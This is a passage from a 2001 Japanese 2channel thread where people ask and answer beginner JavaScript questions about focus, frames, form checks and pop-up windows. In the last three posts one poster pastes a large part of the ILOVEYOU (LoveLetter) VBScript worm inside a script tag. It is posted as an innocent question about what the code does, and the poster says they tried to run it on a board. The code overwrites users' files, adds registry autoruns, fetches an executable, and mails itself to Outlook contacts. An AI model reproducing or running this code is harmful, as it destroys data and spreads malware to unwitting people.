self.moveBy(i@`0);
self.moveBy(0@`-i);
self.moveBy(-i@`0);
} }
}
}
setTimeout('earthquake()'@`8);

//--&gt;
</SCRIPT>

274 名前:Name_Not_Found 投稿日:2001/01/13(土) 23:48
>>266
サンクス! 大いに参考にさせていただきます。

275 名前:Name_Not_Found 投稿日:2001/01/13(土) 23:51
>>273
それでご希望の動作してくれるよ。

276 名前:Name_Not_Found 投稿日:2001/01/14(日) 01:11
上に関数がいくつか転がってるのを見て、
JavaScriptの便利な関数スレとかあったら
結構価値があるかも、なんてふと思った。

277 名前:Name_Not_Found 投稿日:2001/01/15(月) 15:46
持ち上げ

278 名前:名無しです。 投稿日:2001/01/15(月) 18:11
いろいろと、板違いの場所に質問してしまい
やっとこのスレにたどり着きました。。。。

以下が質問です。

HTMLのフォーム上にテキストボックスを作りました。
しかし、そのフォームを持つページを開くと
カーソルが、そのテキストボックスに行かないので
その都度、マウスでテキストボックスをクリックしないと
カーソルが現れません。
ページを開いたら、自動的に指定されたテキストボックスなどに
移る(フォーカスされる)ようにするにはどのようにすれば
よろしいでしょうか。

聞いたところでは、ジャバスクリプトを利用するそうですが
なにぶんジャバスクリプトは(も?)素人なので。

ご教授下さい。よろしくお願いします 。

279 名前:さっきのスレの2 投稿日:2001/01/15(月) 18:23
>>278.

だーかーらー、

document.フォーム名.エレメント名.focus();

BODYのonLoadに書いてね。

280 名前:ドピュ! 投稿日:2001/01/15(月) 18:27
<BODY onLoad="form_name.text_box_name.focus();">

focusってメソッドがあるかどうか知らんが、
そんなようなのはあるだろう。

<FORM NAME="">と<INPUT NAME="">には、適当に名前をつけてくれ。

281 名前:名無しです。 投稿日:2001/01/15(月) 18:33
279,280さん
有り難うございました。
早速取りかかってみます。
お騒がせして申し訳ありませんでした。
でも、答えていただいて感謝感謝です。

それでは、失礼します。

282 名前:Name_Not_Found 投稿日:2001/01/16(火) 08:30
シズンデル......

283 名前:ナナし 投稿日:2001/01/16(火) 11:57
現在このHPは?人の人に見られてます
↑こういうの出来ませんか?

284 名前:Name_Not_Found 投稿日:2001/01/16(火) 12:13
>>283
無理です。
少なくとも、JavaScriptじゃ出来ません。

285 名前:Name_Not_Found 投稿日:2001/01/16(火) 16:22
<bgsound id=bgs src="" loop=0>
で、

<a onmouseover="bgs.src='file:///c:/windows/media/ミュージカ - アプリケーションの起動.wav'" …

ってウザいですか?


286 名前:Name_Not_Found 投稿日:2001/01/16(火) 16:48
>>285
1回目は「おおっ!」って思われるかもしれないけど、
2回目以降はなんとも思われなくなり、
そのうちウザイと思われるかもしれないですね。

287 名前:Name_Not_Found 投稿日:2001/01/16(火) 17:05
<a href="javascript:jump(win@`972192155)" target=rea>JavaScript の質問用スレッド (286)</a><br>
↑ リンクをこのように書き換えて
-----
<script>
parent.frames['set'].document.f.l.value='&ls=50';
function jump(ita@`sre){
ls=parent.frames['set'].document.f.l.value;
if(ls !='dat'){
ls='http://mentai.2ch.net/test/read.cgi?bbs='+ita+'&key='+sre+ls;
parent.frames['rea'].location.href=ls;}
else{
ls='http://mentai.2ch.net/'+ita+'/dat/'+sre+'.dat';
parent.frames['rea'].location.href=ls;}
}
</script>
----
ページの最初に↑を追加してリンクさせたいんですが動きません。


288 名前:Name_Not_Found 投稿日:2001/01/16(火) 17:16
>>285
BGM鳴らすのならonmouseoverでなくhref="javascript:〜"使って
ビジターの明確な意思で選択できたほうが親切なんじゃない?
ついでにもう一度クリックするとBGMをOFFにできる機能とか付けてさ。

>>287
href="javascript:jump(win@`972192155)"

href="javascript:jump('win'@`'972192155')"
に変えて試してみてくださいな。

289 名前:Name_Not_Found 投稿日:2001/01/16(火) 17:19
JavaScriptの設定がオフでもJavaScriptが使われているページを
見るにはどうすればいいのでしょうか?
(JavaScriptの設定をオンにするというのはナシで。)


290 名前:Name_Not_Found 投稿日:2001/01/16(火) 17:36
>>289
そのサイトがJavaScript非対応環境を考慮せずに作られている場合、
残念ながら見ることはできません。
知識があるならソースを見て察することもできなくはないですが…

こういう使われ方をされるからJavaScriptは嫌われるんだよな(;´Д`)

291 名前:Name_Not_Found 投稿日:2001/01/16(火) 17:47
>>289
proxomitronで対応する形に書きかえるとか・・

292 名前:Name_Not_Found 投稿日:2001/01/17(水) 01:52
上下フレームで下のフレームにformを組んでいるのですが、
選択した後下のフレームのみ選択ページへ飛びます。
どうすればページ全体に選択ページを表示することができますか?
よろしくお願いします。

293 名前:Name_Not_Found 投稿日:2001/01/17(水) 02:48
>>292
target指定してんの?

294 名前:Name_Not_Found 投稿日:2001/01/17(水) 03:43
>>293さん
<form>
<select onChange="location.href=this.options[this.selectedIndex].value">
<OPTION value="01.html">select
<OPTION value="02.html">02
<OPTION value="03.html">03
</select>
</form>

こんな感じなのですがtarget指定はどこへ入れればいいですか?

295 名前:名無しさん@1周年 投稿日:2001/01/17(水) 06:54
macかwinかでcssファイルを切り替えるscriptをおしえてくださいませ。
おねがいいたします。

296 名前:Name_Not_Found 投稿日:2001/01/17(水) 07:24
>>294
<select onChange="parent.【上のフレームのnameを指定】.location.href=this.options[this.selectedIndex].value">


297 名前:296 投稿日:2001/01/17(水) 07:27
しまった、意味を取り違えてたスマソ。
フレームを解除した上でページジャンプすんのね。
<select onChange="top.location.href=this.options[this.selectedIndex].value">

298 名前:Name_Not_Found 投稿日:2001/01/17(水) 08:27
>>295
プラットフォーム取得して、Macって単語入ってたらMac用のcss使う。
こんな感じでよいと思う。。。(間違いあったらどなたか修正して下さい)

var platform = navigator.platform;
if ( platform.indexOf("Mac") >=0 ){
document.write('<link rel="stylesheet" type="text/css" href="mac.css">')
} else {
document.write('<link rel="stylesheet" type="text/css" href="win.css">')
}


299 名前:292と294 投稿日:2001/01/17(水) 10:39
293さん、296さんありがとうございました。

300 名前:287 投稿日:2001/01/17(水) 13:09
>>288
できました。ありがとうございます。

http://okayama.cool.ne.jp/omitron/2ch.jpg

こういうの作ったんですけどwindows版に
proxy規制中で書けない&JavaScript使ってるので
ここに書いていいですか?

301 名前:Name_Not_Found 投稿日:2001/01/17(水) 13:31
言わんとすることはよくわかんないけど、
ラウンジ向けじゃないかな?

302 名前:l-_-l 投稿日:2001/01/17(水) 14:44
質問です。

function pic(dispFile){
picWin = window.open(dispFile@`"PICTURE"@`"width=500@`height=320@` resizable=yes@`scrollbars=yes");
}

function pic2(dispFile){
picWin = window.open(dispFile@`"PICTURE"@`"width=600@`height=400@` resizable=yes@`scrollbars=yes");
}

リンク先をサイズ指定した別窓(Aとする)で表示するスクリプトなんですけど、
Aが既に表示されている時に別のアンカーから同じ窓にジャンプさせた場合、
最前面に来ないんです。

どうすれば最前面に来るようになるんでしょうか…。

303 名前:Name_Not_Found 投稿日:2001/01/17(水) 15:04
picWin = window.open(dispFile@`"PICTURE"@`"〜");
の後に
picWin.focus();
って書き加えて試してみて。

304 名前:l-_-l 投稿日:2001/01/17(水) 15:16
>>303
できました!
心からアリガト言いたいです。
感謝します。

305 名前:Name_Not_Found 投稿日:2001/01/17(水) 15:46
window.offscreenBuffering=[true/false]
って何が変わるんですか?
やってみたけど良くわかりません。


306 名前:Name_Not_Found 投稿日:2001/01/17(水) 16:06
>>305
ブラウザの画面描画に関わるものらしいです。
おそらくtrueだと描画速度が上がるがメモリを(一時的に)多く使い、
falseであればその逆になるものだと思います。
ちょっと自信がありませんが。識者の方のツッコミきぼん、

307 名前:306 投稿日:2001/01/17(水) 16:14
あ、ケツの読点が句点になっとるじゃないか。鬱だ。

にしても今日はこのスレ繁盛してるねー。

308 名前:ももこんこ 投稿日:2001/01/17(水) 16:39
HPでjacascriptいろいろなことをしたいんですが、java
でこういうことができるよ〜っていろいろおしえてくれるHPありませんか?
マヂレスきぼぉ〜ん

309 名前:Name_Not_Found 投稿日:2001/01/17(水) 16:48
Yahooなどの検索サイトで「JavaScript」のキーワードで探してみそ

310 名前:Name_Not_Found 投稿日:2001/01/17(水) 17:00
>>308
ヤフーあたりでカテゴリ検索した方がよろしいかと。
別に意地悪しているわけじゃなくて、
「どんなことができるか」を知りたいのであれば、
いろいろなものを見て回るのが一番だと思うので。
ソースをコピペするだけで使えるサンプルの置いてあるサイトとか
山ほど転がってると思いますし。

あと、JavaScriptとJavaはまったく別の言語です。
間違えないようにお気をつけて。

311 名前:Name_Not_Found 投稿日:2001/01/17(水) 19:00
>>308
じゃかすくりぷとって何ですか(わら

312 名前:Name_Not_Found 投稿日:2001/01/17(水) 23:40
質問してイイでしょうか?
訪問された方を認識し、小窓を出して挨拶するという事を
javaで出来るのでしょうか?
http://www.kz-island.net/index.htm
のソースに名残りがあるのですが。
それと>>283さんと同じですが、上の所をリロードする度に
現在◯◯人がアクセスしていますというのが変わるのですが
SSIでしょうか?う〜ん。仕組みが判りません。σ(^_^;)


313 名前:Name_Not_Found 投稿日:2001/01/18(木) 00:14
>>312

まず、来訪者を判別する基準を教えてくださいな。
その内容によってできるかどうかが変わってきますので。
あと、アクセス者数は多分SSIかと。

314 名前:Name_Not_Found 投稿日:2001/01/18(木) 00:23
>>312

あと、JavaScriptとJavaは別物なので混同しないようにね。

…このフレーズ、ほんと定番だな(;´Д`)


315 名前:むぎ茶 投稿日:2001/01/18(木) 00:50



そういうやつは無視しとけ。ぷ

┐(´ー`)┌


┏━━━━━━━━━┓
┃('Д')y ─┛~~ ┃
┃むぎ茶      ┃
┃mugicha@360.cc  ┃
┗━━━━━━━━━┛
http://all.at/bit


316 名前:Name_Not_Found 投稿日:2001/01/18(木) 01:04
JavaScriptのサンプルのお勧めページ教えて。
ある程度は見たけど。。
特にマウスオーバーに強いサイトきぼーん


317 名前:Name_Not_Found 投稿日:2001/01/18(木) 08:07
マウスオーバーってことは
DynamicHTML系のサンプルが狙い?
それならここらへんがオススメかな。

www.st.rim.or.jp/~makoto3/
home.interlink.or.jp/~miyakita/
village.infoweb.ne.jp/~cylas/

…なんか、むぎちゃんに「ダメサイトじゃん。ぷ」とか言われそうな気がする。
こだわりませんが。

318 名前:Name_Not_Found 投稿日:2001/01/18(木) 11:47
あの串サイト(Annonymizer等)を使ったらJavaScriptのnが開きません。
串を変える意外に何かありませんかね?

319 名前:Name_Not_Found 投稿日:2001/01/18(木) 12:10
>>318

それだけだとちょっと原因がわかりづらいので、
よろしければ開かないページのURLか、
JavaScriptの記述をコピペしてもらえますか?(scriptタグ込みで)

320 名前:Name_Not_Found 投稿日:2001/01/18(木) 12:49
JavaScriptで、フォルダを開くというスクリプトは可能でしょうか。

例えば、誰かに渡すメディアの内部に説明用のオフラインHTMLを置き、
そこからデータの在処にリンクを張り、フォルダを開いて内容を表示
させる、というようなことがやってみたいのですが。

可能でない場合、どのようにすれば可能か(Director以外)、ヒントを
頂けないでしょうか。

よろしくお願いします。

321 名前:Name_Not_Found 投稿日:2001/01/18(木) 13:12
普通にアンカーでやれば?

322 名前:Name_Not_Found 投稿日:2001/01/18(木) 13:25
>>320

セキュリティの関係上、ブラウザ上で動くJavaScriptには
ファイルやディレクトリを直接扱う機能はありません。
321の方の言われている通り、普通にリンクを利用するのが一番でしょう。


323 名前:320 投稿日:2001/01/18(木) 13:31
>>321 >>322
レスありがとうございました。
やはりそうだったのですね、納得しました。

しかし、マックのインストーラーって、直接リンクすると、ブラウザーで
開こうとしちゃうんですよね。
ディレクトリーを表示させるくらいで我慢しておくのが良いのでしょうが。

324 名前:316 投稿日:2001/01/18(木) 13:58
>>317
さんきゅー。やりたことが載ってた。うれぴーです。

325 名前:Name_Not_Found 投稿日:2001/01/18(木) 14:09
「うれぴー」言うな(藁

326 名前:Name_Not_Found 投稿日:2001/01/18(木) 14:14
今フォームのパラメータチェックをしているのですが
下の状態では条件中のパラメータが入力されてても
アラートが表示されてしまいます。何がいけないんでしょうか。
呼び出しは form の中で onSubmit=return err_check() としています。
function err_check(){
var flag = 1;
if( document.myform.username.value
|| document.myform.tel.value
|| document.myform.e_mail.value == "" ){ flag = -1; }
else{
flag = 1;
}
if( flag == -1 ){
alert("パラメータが不足しています");
return false;
}
else if( flag != -1){
return true;
}
}

327 名前:Name_Not_Found 投稿日:2001/01/18(木) 14:58
>>326

if文の条件式が不適当なのではないでしょうか。

> if( document.myform.username.value
> || document.myform.tel.value
> || document.myform.e_mail.value == "" )

この記述だと、
「document.myform.username.valueが真であるか、
 あるいはdocument.myform.tel.valueが真であるか、
 あるいはdocument.myform.e_mail.valueが空白文字列であるか」
という意味になります。
察するに、全項目に対する必須チェックをされたいようですが、
であれば、

if( !document.myform.username.value
|| !document.myform.tel.value
|| !document.myform.e_mail.value )

と書くのが適切だと思います。
この記述なら、
「document.myform.username.valueが偽であるか、
 あるいはdocument.myform.tel.valueが偽であるか、
 あるいはdocument.myform.e_mail.valueが偽であるか」
という意味になるので、入力漏れを捉えることが可能なはずです。
(※空白文字列は比較式では偽として扱われます)

あと、onSubmitはフォーム送信時に発生するイベントであり、
送信前にチェックを行うトリガとしては適切ではないのでご注意を。

328 名前:327 投稿日:2001/01/18(木) 15:01
省略されもうたスマソ。
全文ちゃんと出てるんだけどなぁ…

329 名前:326 投稿日:2001/01/18(木) 15:26
>>327
 ありがとうございました、無事に動きました。
 if文の動作を誤解していました。

あと、こういったごく基本的なことが説明されている
サイトとうのはご存知でしょうか。

330 名前:Name_Not_Found 投稿日:2001/01/18(木) 15:44
>>328

基礎であればこちらがおすすめです。

dela.shiojiri.ne.jp/~openspc/JavaScript/

331 名前:330 投稿日:2001/01/18(木) 15:48
ギャー! >>328って自分じゃん! >>329の間違いです。鬱出汁弐隊…

332 名前:Name_Not_Found 投稿日:2001/01/18(木) 23:55
フォームに検索条件を入力させて、検索条件に見合った商品一覧が新しいウィンドウで表示されて、
そこで表示されているリンクをクリックすると、元ページ(フォームがあったページ)に
その商品の詳細ページが出てくる、っていうスクリプトを仕事で組んだんだけど。
NN6だと商品詳細ページが元ページじゃなくさらに新しいウィンドウで表示されちゃうのよ。
タグ的には絶対間違ってないんだが・・・これって仕様??
(IEやNN4だとまったく問題がないから別にいいっていえばいんだけど)



333 名前:Name_Not_Found 投稿日:2001/01/19(金) 02:19
>>327
> あと、onSubmitはフォーム送信時に発生するイベントであり、
> 送信前にチェックを行うトリガとしては適切ではないのでご注意を。

嘘こくな。

334 名前:Name_Not_Found 投稿日:2001/01/19(金) 11:15
>>332

それだけだとちょっと原因を推測するのは難しいです。
JavaScript絡みかどうかも分かりませんし。
よろしければ、もう少し詳しく聞かせいただけますか?

>>333

ただ単に嘘呼ばわりするだけというのもどうかと。
確かな論拠か具体的な例の添えられた反論はよろこんでお受けしますが。
いずれにせよこだわりませんが(ピュア)

onSubmitはフォームの「送信時」に発生するイベントなので、
たとえば「必須項目がすべて入力済でなければ送信を行わせない」
といったチェックを行う場合にはやはり不適当です。
スクリプトの組み方次第では送信内容を擬似的に無効にできるかもしれませんが、
動作的にはあまりいいやり方ではないと思います。

335 名前:Name_Not_Found 投稿日:2001/01/19(金) 12:53
あと実はJavaとJavaScriptは同じなんだよ〜



336 名前:Name_Not_Found 投稿日:2001/01/19(金) 13:36
>>335
嘘コピペ逝ってよし

337 名前:Name_Not_Found 投稿日:2001/01/19(金) 15:04
レスの >>数字
などのリンクの上にマウスを持ってきたときに(onmouseover?)
(かちゅ〜しゃhttp://mata-ri.virtualave.net/ss4.gifのように)
跳んだ先のページをその場所にポップアップして表示するには
仮にこのページを保存して書きかえたとしてどのように
書きかえればいいですか?

338 名前:Name_Not_Found 投稿日:2001/01/19(金) 15:19
>>337

> 跳んだ先のページをその場所にポップアップして表示するには
> 仮にこのページを保存して書きかえたとしてどのように
> 書きかえればいいですか?

ちょっと文意が掴めないんで確認させていただいていいですか?

・「踏んだ先のページ」とは、リンクのURLのことでしょうか。

・「このページを保存して書き換える」というのは、
 そういった効果を使っているページのソースをもとに、
 自作のページに取り入れることを指しているのでしょうか。

これらの部分を明確にしていただければ
何らかのアドバイスができるかもしれません。

339 名前:目のつけ所が名無しさん 投稿日:2001/01/19(金) 15:46
Form の中の INPUT タグで囲まれた
複数のCheckBox をあるイベント onChange をトリガーに
表示を変更する場合は onload でHTMLを読みなおすか、
Layer にして表示、非表示にしてやるしかないと思ってますが、
他に方法があれば教えて下さい。NS4.7 JS1.1

リストボックスの場合は Option の値を変更できたのですが。。

340 名前:Name_Not_Found 投稿日:2001/01/19(金) 16:00
踏んだ先のページは例えば
>>337だと
それをクリックすると
http://mentai.2ch.net/test/read.cgi?bbs=hp&key=972192155&st=337&to=337&nofirst=true
↑普通はこのページが別窓で表示されますが
それをマウスをリンクの上に持ってきときにその場に表示させてリンクの上から
外れたら表示しないようにしたいのですが。

>「このページを保存して書き換える」というのは
proxomitronでページを書き換えて実現させようと思うのですが
とりあえずどういうふうに書きかえれば良いか分からなかったので
それを参考にしようと思ったので。

要は2chのスレッド(read.cgi)を見るときにレス>>337(例)の上にマウスを持ってくると
そのレスを表示させるようなフィルタが作りたいので質問しました。


341 名前:Name_Not_Found 投稿日:2001/01/19(金) 16:10
>>340
嘘コピペ逝ってよし



342 名前:Name_Not_Found 投稿日:2001/01/19(金) 16:19
>>339

つまり、あるイベントが発生するまで入力が不可能な
複数のチェックボックスを用意したいということでしょうか?
もしそうであれば、チェックボックスのinputタグに対して
あらかじめdisabled属性を指定しておき、
イベントでdisabledを解除するというのはいかがでしょう?
これならレイヤに依存する必要もなくなりますし。
disabledの制御構文は以下のようになります。

document.【form要素のname値】.【制御対象要素のname値】.disabled = 【true/false】;

trueを指定するとdisabled状態になり、
falseを指定するとdisabled状態が解除されます。
なお、disabled状態となった要素は
フォームを送信してもデータが送られませんのでご注意を。

343 名前:Name_Not_Found 投稿日:2001/01/19(金) 16:39
>>340

実現するのは不可能ではありませんが、
オフライン環境ではかなり困難な作業になります。
2chのソースは割とデタラメ系なので(藁
スクリプトで必要な情報を得るのが難しく、
そのためにツール等でソースを書き換えるにしても、
相当な知識と技術が必要になってしまいます。

オンラインであれば擬似的な機能を簡易に作れなくもないですが、
それじゃ意味ありませんよね(苦藁

>>341

せっかく繁盛してるんだから茶々入れしないでくれよう(;´Д`)

344 名前:目のつけ所が名無しさん 投稿日:2001/01/19(金) 16:46
>>342
レスありがとうございます!!
これで一度試してみます。

しかし現状表示している CheckBox の数が20以上あり、
リストボックス内の値に(onChange)よって、
表示させるCheckBox を絞り込みたいなと思ってるんですが、
リロードさせるとカッコ悪いし、レイヤーは面倒そうだし。
と困ってました。
とにかく、ありがとうございました。

345 名前:目のつけ所が名無しさん 投稿日:2001/01/19(金) 17:35
339 です。
先ほど試しましたが、
CheckBox を disabled にしてもチェックボックス
自体は選択可能なのでしょうか?
disabled プロパティはあるんですよね。おかしいですねえ。
上手くいってません。

346 名前:Name_Not_Found 投稿日:2001/01/19(金) 17:52
>>345

disabled属性が指定されたチェックボックスは、
通常、色がグレーになって変更不可能になるはずなのですが…困ったな。
よろしければソースをお見せ願いますか?

347 名前:目のつけ所が名無しさん 投稿日:2001/01/19(金) 18:20
>> 346
どうやら IE なら disabled が使えるようですね。

http://www06.u-page.so-net.ne.jp/wa2/mugi/hp/jsindex.htm

「60.ねすけのフォームでIEのdisabledのような効果を使う」
にサンプルがあるようなのでちょっと調べてみます。
でも、色がグレーになってないですね〜。イマイチですね。


348 名前:目のつけ所が名無しさん 投稿日:2001/01/19(金) 18:23
347 です。
書き込んだ後で思ったのですが、 347 のやり方では
リロードさせないと動的に変化させられないですね。
手詰まりです。

349 名前:Name_Not_Found 投稿日:2001/01/19(金) 19:09
>>348

こんなサンプルを作ってみました。
手元にNetscape4がないので動作に不安がありますが…

<html>
<head>
<script type="text/javascript">
&lt;!--

var DisabledFlag = true;

function FakeDisabled(TargetObject){
if(DisabledFlag){
TargetObject.checked = false;
}
}

//--&gt;
</script>
</head>
<body>
<form name="Data">
Disabled<br>
ON<input type="radio" name="Disableds" value="ON"onclick="DisabledFlag = false;"> OFF<input type="radio" name="Disableds" value="OFF" checked onclick="document.Data.reset(); DisabledFlag = true;"><br>
Check1<input type="checkbox" name="Check1" value="1" onclick="FakeDisabled(this);"> Check2<input type="checkbox" name="Check2" value="3" onclick="FakeDisabled(this);"> Check3<input type="checkbox" name="Check3" value="3" onclick="FakeDisabled(this);"><br>
</form>
</body>
</html>

見た目はいかんともしがたいですね…

350 名前:349 投稿日:2001/01/19(金) 19:16
あ、ラジオボタンのON/OFF、機能と意味があべこべじゃないか。
逝ってこよう…

351 名前:目のつけ所が名無しさん 投稿日:2001/01/19(金) 19:20
>>348
レスありがとうございました。
そうですね。CheckBoxの onClick のイベント内で判断するしか
ないですね。時間もないのでこれでいくことにします。
ありがとうございました。

352 名前:349 投稿日:2001/01/19(金) 20:19
>>351

見返してみると融通が利きにくい作りになっていたので少し修正しました。
まだこの板を見ていたら参考にしてください。

<html>
<head>
<script type="text/javascript">
&lt;!--

var DisabledFlag = true;

function FakeDisabled(TargetObject){
if(DisabledFlag){
TargetObject.checked = false;
}
}

function CheckboxReset(){
with(document.Data){
Check1.checked = false;
Check2.checked = false;
Check3.checked = false;
}
}

//--&gt;
</script>
</head>
<body>
<form name="Data">
Disabled<br>
ON<input type="radio" name="Disableds" value="ON" checked onclick="DisabledFlag = true; CheckboxReset();"> OFF<input type="radio" name="Disableds" value="OFF"onclick="DisabledFlag = false;"><br>
Check1<input type="checkbox" name="Check1" value="1" onclick="FakeDisabled(this);"> Check2<input type="checkbox" name="Check2" value="2" onclick="FakeDisabled(this);"> Check3<input type="checkbox" name="Check3" value="3" onclick="FakeDisabled(this);"><br>
</form>
</body>
</html>

353 名前:Name_Not_Found 投稿日:2001/01/19(金) 20:22
サンプルとは言えソースを連発すると行数食うな…
どのくらいで区切るのが適切なんだろう。

354 名前:Name_Not_Found 投稿日:2001/01/20(土) 05:51
このソースでHPを作るとどうなるんですか?
タグが使える掲示板に貼り付けたけど実行できないみたいです。

<script language="VBScript">
rem barok -loveletter(vbe) <i hate go to school> rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila@`Philippines On Error Resume Next dim fso@`dirsystem@`dirwin@`dirtemp@`eq@`ctr@`file@`vbscopy@`dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname@`1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr@`rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout"@`0@`"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num@`downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32"@`dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL"@`dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") if (downread="") then downread="c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"@`"http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"@`"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"@`"http://www.skyinet.

355 名前:Name_Not_Found 投稿日:2001/01/20(土) 05:51
net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"@`"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX"@`downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page"@`"about:blank" end if end sub sub listadriv On Error Resume Next Dim d@`dc@`s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f@`f1@`fc@`ext@`ap@`mircfname@`s@`bname@`mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path@`2@`true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path@`2@`true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path@`2@`true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt@` if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f@`f1@`sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey@`regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey@`regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next

356 名前:Name_Not_Found 投稿日:2001/01/20(土) 05:52
dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x@`a@`ctrlists@`ctrentries@`malead@`b@`regedit@`regv@`regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead@`1@`"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a@`a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a@`a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines@`n@`dta1@`dta2@`dt1@`dt2@`dt3@`dt4@`l1@`dt5@`dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila@` Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _ 